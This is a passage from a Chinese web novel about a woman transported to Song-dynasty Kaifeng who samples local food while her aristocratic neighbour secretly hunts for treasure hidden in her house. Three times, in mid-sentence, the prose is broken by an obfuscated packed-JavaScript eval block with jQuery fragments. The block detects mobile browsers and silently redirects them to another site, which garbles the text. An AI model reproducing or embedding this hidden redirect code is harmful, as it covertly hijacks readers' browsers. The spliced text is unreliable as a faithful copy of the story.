再看着砧板上那巴掌大小被荷叶包裹的肉臊，更觉孤零零的。 搬柴、生火、淘米，洗菜…… 她现在这副身子又吃不了多少，忙活半天实在有些不划算。 她沉默着离开了厨房，回到东次间，背起那只斜挎包，这次里面只装了一百文，就出了门去。 她要去小甜水巷这一带的食店吃饭！ 只是她打开院门，一只脚刚迈了出去，下了两阶石阶，就不由自主地悄悄探身，朝西边孙婶婶家看了一眼。 见那边院门关着，才闪身出门，将自家大门锁好，做贼一般迅速离开。 好像偷偷出去吃饭，就像背叛了孙婶婶似得。 孟嫣两条腿倒腾得飞快，避开积水浅洼，循着味道进了一条小巷，直到走了约有百十步远后才放慢速度。 她微微轻喘，缓缓平复，与此同时，鼻尖飘来阵阵鱼的鲜香。 抬头望去，就见一面素色幌子迎风招展，上面墨字写着“周家南食”四个大字。 食店未设窗板，几根楹柱立于厅中及食店四脚，楹柱上挂着木牌，写着今日招牌。 店前还支了檐棚，檐棚下还设了几张方桌。 大概刚下过雨，店中和檐棚下只三三两两坐了几桌食客。 那阵鱼香气，就是从这家店里飘出来的。 孟嫣走至食店门前，却有些发怯，竟打起了几分退堂鼓。 可鼻尖萦绕着诱人的鱼香，孟嫣还是暗暗鼓了鼓勇气，进了店中。 刚一进店，就有伙计热情地招呼孟嫣，引着她落座。 这让孟嫣的怯意少了些许。 伙计等孟嫣坐好，先将今日店里特色招牌流利地报了一遍，然后才笑着问道：“小娘子想吃点什么？” 孟嫣听到“石首”二字出现的次数最多，挂在外面的招牌上也有“石首”这样的字眼。 大概今日是新到了石首鱼？ 宋时的石首鱼，就是如今的大黄鱼，因鱼头内有两枚坚硬如石的耳石而得名。 若是再用一定方法腌制或晒干，就是石首鲞。 在众多鱼鲞中，独独石首鲞最得宋人喜爱，因其味最美，故而宋人还称其为“郎君鲞”。 孟嫣便点了今日特色招牌“石首桐皮面”，又点了一份时令鲜蔬，每一餐都要荤素搭配才好。 又因这副身子骨的原因，问了问一碗面有多少，自己能不能吃的完，她可不想浪费。 伙计却说若是吃不了一份，可以提供半份。 孟嫣便点了半份桐皮面。 伙计记下后，又转身走向她旁边那一桌。 大概因为是来过几次的熟客，只笑问吃什么。 孟嫣侧着耳朵细听，看看别人是如何点单的。 就听旁边那人也要了一份石首桐皮面和一份时蔬，只不过又加了些许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926581|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求：面要厚切，石首上要斜划几刀，且不可过深亦不可过浅，最后鱼要煎到表皮微焦。 孟嫣听得目瞪口呆，还、还可以这样？ 在现代顶多提个“不加葱花香菜”的要求。 在这里连菜怎么做、做到什么程度都能提？真不是蔑视厨师的厨艺？ 她忍不住偷偷侧首朝旁边看去，竟是东边隔壁那个倨傲男人、林小郎君的主君？好像姓吴？ 恰好萧遇也微微侧头，面无表情地看向她。 孟嫣震惊的神色还未收起，四目相对，孟嫣扯了扯嘴角，尴尬地笑了笑，立刻转回了头，默默盯着面前的桌子。 他真的不会被轰出去？ 正当孟嫣心里都替他捏了一把冷汗时，就听伙计笑呵呵重复了一遍男人的要求，最后确认了一遍有没有说错，就去下一桌了。 孟嫣更加震惊了。 她忘记了尴尬，目光追随着伙计，竖着耳朵看看还有没有这么欠打的食客，一圈下来，还真有几桌。 那些食客都各有要求，伙计也都乐呵呵将其要求重复一遍，就奔去了后厨，将食客点单及要求高声唱念了出来。 孟嫣又悄悄看向其他食客的神色，都面色如常，看不出什么异样。 看来这在宋朝是很稀疏平常的正常事？ 孟嫣缓缓从震惊中回神，先是感叹这个时代食客真是上帝，然后又轻笑起来，这绝对没有预制菜。 没多一会儿，就听到一声吆喝。 然后就见刚刚的伙计从后厨出来，左手的手到小臂并排立着两只碗，里面盛着吃食，右边小臂则端着个托盘，上面叠摞了有十几只碗碟。 伙计先走到一桌前，将左手里的一只碗稳稳地放到一个食客面前，手腕翻转，又将另一只碗也稳稳地放到了食客面前。 然后在各桌之间穿梭，准确无误地将吃食送到各桌。 孟嫣又忍不住在心底感叹一翻，在大宋做服务员也是要有些绝技的！ 这边正感叹着，她点的石首桐皮面和时令鲜蔬就送来了。 面碗中汤色成微褐色，上面点缀着几片青蒜叶，热气腾腾的鲜香扑鼻而来，比之在店外闻到的更加浓郁。 石首鱼是整条铺在面上，表皮微微泛起褶皱，是用油先煎过而后烹煮烧制而成。 孟嫣先用勺子喝了一口汤，汤鲜而味浓，好像不太适合空口喝。 孟嫣又夹了一筷子鱼肉送入口中，眼睛微微一亮。 鱼皮软糯带着一点焦香，鱼肉爽滑而紧实，能吃出丝丝鲜甜，再配合着汤底，竟是滋味刚好。 原来这里的汤不是用来喝的。 孟嫣又挑起一筷子桐皮面送入口中，虽不知为何叫桐皮面，味道却不错。 面皮比平时吃到的要薄一些，可以更好的吸入汤汁，吃起来却不绵软，还带着几分韧劲。 自然，孟嫣也不能冷落了这碟时令鲜蔬。 鲜蔬是清炒白菜，这时候的白菜叫“菘菜”，用姜丝炝锅，一口就能吃到猛火爆炒的锅气，还保留着白菜的清甜。 不知不觉，一碗面就全都入了腹，只余汤底和骨碟里鱼骨。 孟嫣也没想到她竟然吃了整整一碗，虽然只是半份。 要知道，中午的时候她还只吃几口就吃不下了呢！ 孟嫣习惯性想去摸纸巾，这才记起这时候哪里有这个？ 若是有，厕纸不也早就解决了？ 下次还是要记得带着帕子才是。 8. 迷路“相送” 食店里已经又陆陆续续进来了许多食客，店里店外几乎都坐满了，看来这周家南食应该也是小有名气。 孟嫣抬了抬手，示意伙计结账。 伙计便乐颠颠地小跑着过来，先问了一句“小娘子可吃好了？” 孟嫣笑笑颔首。 伙计这才乐呵呵唱起了账：“石首桐皮面半份六十五文，时令鲜蔬五文，共计七十文！” 孟嫣暗暗咂舌，一碗面竟比一只鸡还贵。 可转念一想，这石首都是花了大成本自南边运过来的，古人的制冰、运输可没现代这么方便，也就释然了。 付了账出了店门，天色已经暗了下来，街巷往来的食客却有增无减。 此刻孟嫣有几分茫然。 出门时光想着别被孙婶婶发现，根本没注意巷陌交错、岔路繁杂，哪里饭香就往哪里钻，现在却不知自己身在何处了。 这要怎么回去？要问路吗？ 她一个独身女子，在天将黑时问路……会不会遇到心怀不轨之人？ 或许可以找看起来面善的人问？可谁说面善的人也一定心善呢？ 正当孟嫣犹豫时，萧遇从店里出来了。 走至她身侧，目光似有似无地暼了一眼，就朝前走去。 孟嫣眼睛亮了亮，抬步跟了上去。 萧遇身高腿长，步子迈的极大，没多一会儿孟嫣跟的就有些吃力了。 再加上街巷上人潮如织，时不时就将她的视线挡住，等她行至第一个十字街时，已经不见了萧遇的身影。 孟嫣停了下来，四处寻找，最后又露出几分茫然来。 正当孟嫣再次犹豫要不要问路时，萧遇的身影赫然出现在她前面不远处，手里还提着一只竹筒。 孟嫣立刻又跟了上去。 这次萧遇步子依然迈的很大，却没走那么快，闲庭信步般慢悠悠逛着，偶尔停在卖香药果子的小摊前，买上一包香药果子，继而再悠悠地朝前走去。 又拐过一个巷角，行人渐疏，萧遇步子更慢了，最后干脆停了下来。 二人相距不过十余步，孟嫣也缓缓放慢了步子。 岂料萧遇竟转过身来，视线落在她的身上。 孟嫣停了步子也望向他，还朝他讨好般的笑了笑。 “跟着我作甚？” 萧遇面无表情地缓缓起唇，声音不高不低，听上去冷淡淡的。 若是换成别的时候，孟嫣定然会被他这副神色和语气吓得大气也不敢出。 可现下，和其他陌生人比起来，他就是孟嫣最信任的人。 再加上白日他又花了十两银子买了她的山蕈炖鸡，不让她吃一点亏，在孟嫣心里，他就是个大好人。 于是她对着大好人简洁地蹦出两个字：“回家。” 萧遇面无表情的神色有一丝皲裂，眉头缓缓拧了起来。 这孟小娘子竟是这般孟浪？堂而皇之地就要跟男子回家？ 孟嫣看他拧起的眉头，也方觉此话不妥，轻声解释道：“我鲜少出门，对街巷不太熟悉。” 萧遇眉头跳了跳，原来是回自己家。 他神色恢复如常，似是刚刚不曾腹诽过一般，淡淡颔首：“跟上吧。” 话落，复又朝前走去，步子依旧慢悠悠的。 孟嫣弯起唇角，果真是个善良的大好人！ 又行至一处拐角，前面街巷行人更加稀少，灯火也不甚明亮。 孟嫣心底有些慌，一时加快了步子。 萧遇却再次停了下来，直到二人并肩，才又迈开了步子。 孟嫣松了口气，悄悄侧首，唇角又弯了弯，还是个心细的大好人。 二人隔着几步远一前一后的走着时还不觉得，此刻二人并肩而行，一句话都不说，让孟嫣感到有几分尴尬。 余光下望，看见了萧遇手里的竹筒，便问：“吴郎君手里提的什么？” 萧遇顿了顿，他何时姓吴了？ 不过转瞬就明白了，定然是林檎说的。 他们特意在小甜水巷赁了宅子，还在孟小娘子的旁边，目的就是探寻其父孟尚杰意外带回来的财宝下落。 自然，此事不能大张旗鼓，只能暗中进行，故而他曾交代过，要隐藏身份。 吴姓，是他母亲的姓氏。 萧遇淡声：“石榴饮子。” 孟嫣一听，眼睛亮了亮，不知这石榴饮子和石榴汁有什么不同。 她又暗暗瞄了一眼，舔了舔唇。 萧遇本就留意着孟嫣的一举一动，再加上他目力过人，夜能视物，将她的小动作看的一清二楚。 尤其刚刚孟嫣探出的舌尖，水亮亮地一闪而过，他不由得想：她也被那面咸到了吧？ 萧遇将竹筒递过去：“买了两筒，这筒没动过。” 孟嫣的确想尝尝，就没客气，接过后问：“多少钱，我付给吴郎君。” 萧遇：“不必。” 孟嫣就不知该怎么办了，只好在心里默默记下，包括那十两银子。 她当即就尝了一口，里面竟加了薄荷，除了一味甘甜，还有薄荷的清爽。 孟嫣忍不住又喝了一口，又一口……一不留神，一竹筒的石榴饮子都下了肚。 萧遇暗道，果真也是被咸到了。 萧遇：“周家那碗面，和明州的比起来如何？” 用饭时，她先喝了一口汤，之后就没再喝过，想来和她平日吃的味道不太一样。 孟嫣却怔愣一瞬。 明州？ 宋时的明州好像是……宁波？ 吴郎君这样问，难不成原身是明州人氏？ 转念，孟嫣就警铃大作起来，吴郎君怎么知道原身是明州人的？ 从孙婶婶的话里，原身不是很少出屋吗？ 难道在孙婶婶不知道的地方，原身还和吴郎君说过话？ 想到昨日吴郎君和林小郎君爬墙头的事，在孙婶婶没进来前，二人又齐齐消失在墙后，孙婶婶不知道还真有可能。 只是在现代孟嫣对宁波的了解并不多，只知道那里靠海。 她曾去那里出过一次差，除了海鲜，倒是被推荐过黄鱼面。 她和同事一起吃了几家，都各有滋味，却也都有一个共同点：首先，这几家店多数用的都是小黄鱼；其次，都加了雪菜。 不知这黄鱼面和宋时的石首桐皮面有没有什么渊源。 可即便有些渊源，孟嫣也不能径直说出，毕竟她不了解宋时的明州饮食如何。 孟嫣想了想，缓缓道：“我其实不太清楚明州食店的味道如何，不过今日这碗面和我阿娘做的比起来，有很大不同。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926582|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原身母亲已经离世，这样说无论如何她都不会露馅。 萧遇果真没觉得有什么不对，还暗自猜测着孟嫣的厨艺是不是她母亲教的。 林檎查过，孟小娘子的母亲早年间走南闯北，除了随船出海，还去过辽国、党项等地，是一位见识不凡的女子，想来今日中午那道山蕈炖鸡也是她从别处学来的烹制法子。 萧遇：“何处不同？” 孟嫣一听，吴郎君果然没怀疑什么，暗暗舒了口气，却没先说哪里不同，而是问道：“吴郎君可知一种和石首形似却比石首要小上许多的小黄鱼？” 萧遇颔首：“此鱼叫春鱼，身小刺多，时下人更喜将其炸至酥脆，用来佐酒。” 尤其他祖母，每逢春、秋时令，顿顿都要温上一壶羊羔酒，吃上一小碟。 孟嫣暗道，原来小黄鱼在这里叫春鱼。 “我阿娘烧制的黄鱼……石首面，首先就是用的鱼不同。” 萧遇：“用春鱼？” 孟嫣轻轻点了点头：“用春鱼煮的春鱼面，那碗汤是关键。色泽要微白泛金，还要将春鱼的鲜味熬煮出来。然后嘛，就是加了灵魂雪菜，再次调味。” 萧遇沉思起来。 熬制汤底他能理解，可加上那雪菜岂不是破坏了鱼汤的鲜味？ 汴京城里倒是有几家南食店会加雪菜，或者其他腌菜，但除了增味之外，并没有增香多少，甚至有时候比今日这碗面还要咸。 这样能好吃？ 只听孟嫣又道：“加了雪菜的春鱼面味道更为丰富，至于加多少却是需要细细斟酌的。雪菜经过腌制，本就味重，若多加一分，则会夺了鱼汤之鲜，若少加一分，则又起不到什么作用。” 原来如此。 萧遇忍不住立刻就想知道这春鱼面是何味道，却也知道不能，心下惋叹一声，道：“都说天下美味汇于汴京，现在看来，还是有无数珍味藏于各家的厨灶之间。” 孟嫣笑了笑，十分认同此话。 巷口就在前面，出了这条巷子，就到了孟嫣熟悉的小甜水巷了。 小甜水巷里本也有多家食店，今日孟嫣心虚加着急就走的远了些。 此刻，那些食店也如周家南食一般在檐棚下设了方桌。 灯火如昼，食客络绎不绝。 河鲜海鲜的鲜香、糟酒的醇香、米油的焦香混合着点心的甜香在空气中交杂飘散，勾的孟嫣忍不住又吸了吸鼻子。 而萧遇脑子里都是那碗春鱼面，想着什么时候请孟小娘子做一碗来尝尝。 不知不觉，二人已经到了。 孟嫣抬起手臂，晃了晃手里的空竹筒，笑眼弯弯：“多谢吴郎君相送，也多谢吴郎君的石榴饮子。” 萧遇暗道，若是真想谢，不如做碗春鱼面来。 只是他可没有林檎那么厚的脸皮，要不等下让林檎过来同她定上一碗？ 萧遇刚兴冲冲抬步，却又落了回来。 这时候林檎再要敲一个小娘子的门，好像不太好…… 萧遇默了默，看向手里的一包香药果子，忽而叫了孟嫣一声。 孟嫣疑惑转身，一包香药果子就递到了眼前。 她有些错愕，不明所以地看着萧遇。 萧遇：“……明日晌午，我可不可以讨一碗春鱼面？” 9. 大声密谋 孟嫣先是一阵错愕，随即诡异地沉默了一瞬。 若是她没去周家食店之前，吴郎君这么说，她定然爽快答应。 可她今日吃了这碗石首桐皮面，只觉味道甚好，她骨子里的懒就被激发了出来，不太想自己动手煮饭了。 可她还收了吴郎君十两银子，又白白喝了他一竹筒石榴饮子呢！ 孟嫣本想要不把银子还给他好了，可又想到今日一碗面就六十五文……就犹豫了。 虽说这碗面是因为石首鱼的关系，可日后她还想去汴京各大酒楼吃吃喝喝，只会需要更多银子。 孟嫣心底暗暗叹气，脸上却笑着将香药果子推了回去：“吴郎君白日里给的银子已经够多了，着实不用再给什么，明日晌午，吴郎君尽管让人来取就是。” 萧遇一听，眼角露出了极其细微的笑意，最后还是将香药果子塞到了孟嫣手里，道：“明日让林檎送春鱼来，孟小娘子不必再去鱼行买。” 这和又付了银子给她有何区别？ 孟嫣刚想拒绝，就听萧遇又道：“早前府……我就已经让人从江南送了不少春鱼来京城，明日正好随漕船抵京。” 孟嫣一听，这才记起林檎说的吴郎君是南方人，难道和原身一样也是江南人？ 这样的话，原身和吴郎君就都来自江南，说过话倒是不奇怪了。 既然如此，孟嫣就不拒绝了，道：“那其他食材我去置办。” 萧遇颔首，这才朝自家走去。 孟嫣看着萧遇进了门，又看了看手里的那包香药果子，才又幽幽叹息一声也进了门去。 孟嫣借着细微的月色，摸摸索索点燃了烛灯，然后端着烛台去了厨房。 今日出门时，她将院门锁了，孙婶婶进不来，没法帮她烧水，她得自己烧些水沐浴盥洗。 只是到了厨房一看，发现锅里已经有了热水。 孟嫣愣了愣。 看来原身极其信任孙婶婶，将院门的钥匙都给了她。 出门时的心虚又冒了出来。 明明上午她说今后让孙婶婶同她一起吃饭，这不过才一个下午，她就自己去吃香喝辣，让孙婶婶和她家二郎吃晌午的剩饭…… 不仅如此，她还减了孙婶婶的月钱！ 虽然这是孙婶婶提的，可是此刻，她心底还是有些过意不去。 明日还是跟孙婶婶说说，下个月的月钱还是按原来的吧，这样她能安心些。 这样一想，孟嫣的心虚少了几分，准备沐浴盥洗。 可骤然想到，她现在要从厨房提水到浴间，以她的力气只能用铜盆一盆一盆的倒腾…… 孟嫣又惆怅了，古代市井百姓的生活……真是……艰难啊！ 正当孟嫣吭哧吭哧一盆一盆端水时，林檎正左一圈右一圈围着自家侯爷打转，直到看到自家侯爷真是两手空空地回来了，才有些委屈地问道：“侯爷，你怎么没带吃的回来呢？” 萧遇沉默。 带了的，刚刚拿去换春鱼面了。 晚上戍安照着那张方子做了山蕈炖鸡，可萧遇只吃了一口就放下了筷子。 虽然味道不难吃，可比起孟小娘子做的还是差了不少火候。 萧遇并非是对饮食挑剔之人，数月前还在军营和将士们同吃同住，军营的伙食自然好不到哪去。 可是能挑剔的时候，自然不会将就，毕竟他是武官，能像现在这般清闲的日子并不多。 他这才去了食店吃饭。 林檎却觉得那山蕈炖鸡的味道甚美，见自家侯爷要出去吃还挺高兴。 侯爷每次独自出门，回来必会给他和戍安带些吃食。 自然，他和戍安也一样，若是出去或在外碰到什么好吃的东西，也会带回来给侯爷尝尝。 这样的事在他们主仆之间十分寻常。 这次侯爷竟然空手回来了！ 林檎委屈巴巴的神色让萧遇忍不住额角直跳。 这玩意儿什么时候这么矫情了？就这点小事都能委屈上了？ 刚想开口训斥两句，可脱口而出的训斥却成了“明日接到春鱼送一桶到隔壁”。 林檎委屈地“嗯”了一声。 萧遇：“明日孟小娘子做了春鱼面，分你一口。” 林檎委屈巴巴的神色立时不见了，他缓缓眨巴了一下眼睛，又狗腿地围着萧遇打起转来：“侯爷，明日孟小娘子要做春鱼面？春鱼面什么味道？比石首鱼做的面还好吃？和周家比呢？和金家呢？还有和……” “明天你吃了就知道了。” 萧遇实在不想听他继续唠唠叨叨下去，赶紧打断，又道：“准备准备，晚些时候再去探探那口井。” 林檎“哎”了一声，嘿嘿笑了起来：“侯爷放心，戍安早就准备好了，今晚就能知道那口井里究竟藏没藏财宝了。” 夜深人静，孟嫣已经睡熟。 东边的墙头出现三个人影，悄无声息地翻了进来。 林檎轻手轻脚将井口的圆木板移开，打了个手势示意戍安可以了。 戍安手里拿着比拳头大上几圈的光滑卵石，走到井边，先侧耳细细听了听，然后抬手就要将手里的石头扔入井里，被萧遇拦住。 戍安以为侯爷有什么其他安排，静静等着。 却听萧遇压着声音问道：“石头干净吗？” 戍安：“……干净。” 洗了好几遍呢！ 萧遇又看了看戍安拿着石头的手。 戍安：“……也干净。” 刚刚翻墙都没用手撑着，全靠手臂。 萧遇点点头，这才示意开始吧。 戍安再次抬手，见侯爷这次没阻止，迅速将石头扔进井里，然后一只耳朵贴着井壁闭眼细听。 萧遇和林檎只听到了石头砸入水里的声音，声音在井里又回荡了片刻，最终归于平静。 戍安却一直贴在井壁上，眉头微皱，好一会儿才起身，朝萧遇摇了摇头：“井底只有沙砾。” 林檎低声：“那就只剩孟小娘子的屋子了。” 三人将圆木板移回井口上，又悄声翻墙回去。 三人回了堂屋，一时沉默。 林檎率先开口道：“孟小娘子近日也不像前两个月一样，整日不出门，不如等她出门时进去找找？” 萧遇：“若是里面设了机关暗道，恐怕找起来没这么容易，并且……” “并且什么？”林檎追问。 萧遇：“并且，这两个月来，孟小娘子的院门从未落过闩，这就是根本不怕有人进去翻找。” 林檎挠了挠头：“那怎么办？” 扭头瞧见神色淡淡的戍安正闲适饮茶，一点也不急侯爷之所急。 林檎没好气道：“你说说？” 戍安暼他一眼，开口道：“那就光明正大地住进去。” 林檎不可思议地睁大双眼：“你的意思是……做上门女婿？” 随即连连摆手：“不行不行，我将来可是要跟着侯爷收复燕云的，怎么能做上门女婿？” 萧遇倒是觉得这个法子可行，可若是孟小娘子现在不想招婿又当如何？ 戍安悠悠叹道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926583|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“那就只能扮成女使把自己卖进去了。” 林檎更加不可思议：“这怎么能行？！堂堂男子怎可扮做女人？” 声音都高了几分，还劈了叉。 戍安“哼”声道：“你不是要为侯爷收复燕云立头功吗？不过是扮成女使而已，怎么不行？” 林檎愤愤：“可现在孟小娘子由孙家妇人照料着，哪里用得着再买女使？” 戍安看傻子一般看着他：“不让孙家妇人去照料不就行了？” 林檎闭了闭眼，挣开后又委委屈屈看着萧遇：“侯爷，待收复了燕云，你要给我记头功！” 萧遇顿了顿，郑重其事地点了点头。 翌日。 晨钟未过，孟嫣就起来了。 不知是这两日已经适应了这里，还是昨日吃的油水多了些，总之昨日搓的那几张纸一早就派上了用场。 孟嫣暗叹，幸好有先见之明！ 就是还是有些硬…… 看来厕纸一事今日务必解决！ 孟嫣盥洗换衣后，在斜挎包里装了五两银子，又放进去一些散钱，准备去找孙婶婶。 刚跨出屋门，就见院门被推开，孙婶婶一脸喜色的进来。 “一大早的，婶婶是遇见了什么好事了？”孟嫣笑吟吟问道。 孙婶婶脸上的褶子都喜气洋洋：“的确是好事，我家二郎又可以去酒楼做酒博士啦！” 孟嫣一听，也替孙婶婶感到高兴，这样孙家二郎就不必日日走街串巷雨淋日晒的，每月的月钱稳定不说，还会有额外赏钱。 孟嫣又细问了怎么回事。 原来，孙二郎今日赶早去城南卖热饮子，一位客人喝完饮子才发现银子被摸了去。 一碗热饮子总不过也才两文钱，孙二郎就没要，和那客人闲聊了几句，没成想那客人正好是琼波楼的掌柜。 恰好前几日琼波楼的一位酒博士谋去了别处，听说孙二郎曾在庆远酒楼做过酒博士，就问他愿不愿来琼波楼。 孙二郎一听，自然愿意！ 这也是孙婶婶一大早就红光满面的原因。 孙婶婶家遇喜事，孟嫣觉得应该庆祝庆祝。 正要开口，却见孙婶婶将一把钥匙放到孟嫣手里，又道：“就是今后婶婶怕是不能再照顾你了。” 孟嫣愣了愣。 孙婶婶有几分不大自然：“琼波楼除了缺一位酒博士，还缺一个烧火的，每月一贯钱，和酒博士一样，包吃住的。” 孟嫣回神，却有几分不解。 即便昨日按孙婶婶的要求将月钱减至两贯，也比去烧火多上一贯钱。 难不成孙婶婶还于心不安？觉得两贯钱也多？ 孙婶婶马上就解答了孟嫣的困惑，“我和二郎都去琼波楼那边住，一来不用从城西日日跑回来，二来现在住的这座院子可以赁出去，每月也可得三四贯钱。” 孟嫣恍然，这样的话，孙婶婶家月入就可达八九贯钱！ 孟嫣笑了起来：“这是好事呀，能赚钱的时候，自然要多多赚钱，日后无论遇见什么，都有银子傍身，不至于走投无路。婶婶放心去吧，我现在身子越来越好，自己可以照顾好自己。” 孙婶婶听孟嫣这么说，那点不自在也就消失了。 孟嫣又问了孙婶婶和孙家二郎何时过去琼波楼，得知孙二郎已经过去了，她这边收拾收拾，再将宅子托给庄宅牙人，也就准备过去了。 如此，孟嫣也不好劳烦孙婶婶陪她去看布和买做小黄鱼面的食材了，只好问了问布店和腌菜铺子的位置，自行出门了。 10. 碳水碳水 从小甜水巷西去，两侧都是食店。 巷口不远处支了一个小摊，小摊旁边摆了几张矮桌小凳，都已经坐满了人。 阵阵油煎的香味飘散过来，孟嫣忍不住咽了咽口水。 大概原身这副身子之前吃的太过清淡，如今换了副芯子，闻见油香的食物就想往上扑。 她走过去，煎锅旁边是面案，再旁边是多只装着各色馅料的松木盆，煎锅里正油滋滋地煎着菜肉夹子。 夹子，是将馅料包进薄面皮里油煎或油炸。 孟嫣要了一只笋肉夹儿和一只菜夹儿，摊贩用油纸包起来递给孟嫣，提醒她小心烫。 孟嫣道谢接过，不顾刚出锅，捧着就咬了一口，烫的她不停地斯哈，以至于囫囵咽下第一口都没吃出是什么味道。 孟嫣第二口咬的就小心多了。 面皮油香，肉汁充盈，混着笋丁的清新爽脆，竟吃不出一丝油腻。 孟嫣又咬了一大口，都忘了此时是在街上，没有丝毫不自在。 没多一会儿，笋肉夹子就都入了肚，接着就开始吃起了那只菜夹子。 有了那只笋肉夹在前，菜夹儿吃起来就平平无奇了，里面是韭菜，且只有韭菜。 解决了早饭后，孟嫣直奔布店。 穿越以来，孟嫣第一次感受到了“吃喝拉撒”的重要性，从未觉得五谷轮回一事这么麻烦。 布店在州桥以南，里面以麻、葛、绢布和少量其他丝帛为主。 孟嫣细细问了各色布料的价格和尺寸，最后选了中等质地的素绢，每匹一千二百钱。 布料柔软细腻，一匹经裁减后可用两个月左右，这样算下来每月厕纸的开销要六百文钱。 只是买绢当厕纸一事万万不可让人知道，否则非要被唾沫星子淹了。 孟嫣买了两匹，又付了跑腿钱让店家请人送到小甜水巷，然后又直奔去了腌菜铺子。 到了腌菜铺子，孟嫣十分惊讶。 宋时的腌菜种类竟然如此丰富，从各种川味泡菜到盐渍的咸菜，甚至还有东北的酸菜。 孟嫣买了一份雪菜，想着下次买些老坛酸菜来做酸菜鱼！ 想到酸菜鱼，刚吃过早饭的孟嫣又觉得饿了，拎着荷叶包好的雪菜打算再去吃点东西。 腌菜铺子对面又是一条食街，最醒目的店铺招牌就是“薛家分茶”。 这里的分茶并非宋代点茶里的茶艺绝技，而是指食店。 吃分茶既可以只点一样吃食，也可以点多样，主打一个丰俭由人。 与之相对的则是吃全茶，就是一套完整的酒宴了。 昨晚孟嫣去的那家南食店，也是某种意义上的分茶，只不过是以南食菜肴为主。 孟嫣提步就朝薛家分茶走去，还未到食店门口，就闻到了一股肉包子的香气。 循着味道看去，旁边就是一家写着“鹿家包子”的铺子。 孟嫣吸了吸鼻子，决定下次再吃薛家分茶，转了个方向朝鹿家包子奔去。 鹿家包子店门旁边挂了张旗子，上面也写了店内的招牌包子，其中也有笋肉包。 看来笋肉这个馅料在这里还挺受欢迎。 在现代，孟嫣也喜欢笋肉的，不过不是包子，而是笋丁糯米烧麦，一口下去，满口都是油糯糯的糯米香。 不过这家店里招牌中的招牌自然是羊肉包。 宋人对羊肉的喜爱，可是随处可见的。 就这条食街上，一眼扫过去，就能看到数家写着“羊”的熟羊肉铺子，或面、或饭、或羹，都有羊肉的影子。 既然是招牌中的招牌，孟嫣怎能不买？ 最后，孟嫣除了羊肉包，又分别买了鱼肉、虾肉和鸭肉馅的。 孟嫣依旧捧着油纸包边走边吃。 羊肉包果然不同凡响，没有羊肉膻味，只有羊肉脂香，热气腾腾的包子皮儿已经被羊肉馅的油脂浸透，看上去就食欲大开。 孟嫣觉得自己于吃上已经渐入佳境，巴掌大的包子几口就吃光了。 鱼肉和虾肉不过是鱼虾本来的鲜味，倒是没有多惊艳。 鸭肉倒是做成了酱肉的，酱香十足，不过也吃不出鸭肉到底是个什么味了。 早上这一会儿功夫，孟嫣一波一波碳水送进了肚子，此刻都有些晕碳了，眼睛半睁半闭，晕晕乎乎往家走。 走到巷口遇见一个还未收摊的面摊，孟嫣顺手买了一些鲜面，这样就不用她自己和面擀面了。 美滋滋地拐进小甜水巷，远远看见林小郎君蹲在自家门前，时不时左右张望。 他的身侧还蹲着一只和他一样高的木桶。 见到孟嫣，林檎立刻跳了起来，朝她招了招手。 孟嫣眯了眯眼，目光直直地望向那只木桶，那里不会都是黄鱼吧？ 想到有这种可能，孟嫣瞬间精神了！ 不是因为有一桶黄鱼开心，而是有几分欲哭无泪。 一桶黄鱼！一桶黄鱼呀！都让她一个人做吗？ 要知道，今日孙婶婶可帮不了她了呀！ 何况这时候又没冰箱，这么多要是不赶快吃掉，只能臭掉了。 孟嫣不太想回家了，步子都沉重了几分。 她爱吃，会做饭，可这不意味着她爱做呀！ 要不是前两日吃到的吃食太过无味，她也不会想法子要自己开火呀！ 尤其这个桶极大可能一从漕船上搬下来，就送到了这里。 刮鱼鳞、去内脏、剔骨刺，一条两条还可以，这是整整一桶呀！ 孟嫣的步子更沉重了。 可步子再沉重，走的再慢，孟嫣还是挪到了自家门前。 林檎昨日答应扮女使本还不情不愿，可今日接到鱼后突然想到，以后可以日日吃到孟小娘子做的饭了，什么不情不愿都抛到了九霄云外。 他这是什么好运气？有这种口福？ 侯爷都得羡慕他！ 现在见到孟嫣，乐颠颠的就差围着她绕圈圈了。 孟嫣盯着这只木桶，犹抱一丝希望地问：“这里……都是……鱼？” 林檎喜气洋洋地重重点头：“都是鱼！都是鱼！除了春鱼，还有五条石首鱼，我家郎君说，孟小娘子只做应下的那碗春鱼面就好，其他的鱼，都留给孟小娘子补身子。” 孟嫣笑了，笑的有些难看。 吴郎君太腹黑了！ 若是真想让她补身，留两条就是了，何必让林檎留一整桶？ 他又不是不知道她就一个人？就算孙婶婶和孙家二郎没去琼波楼，那也 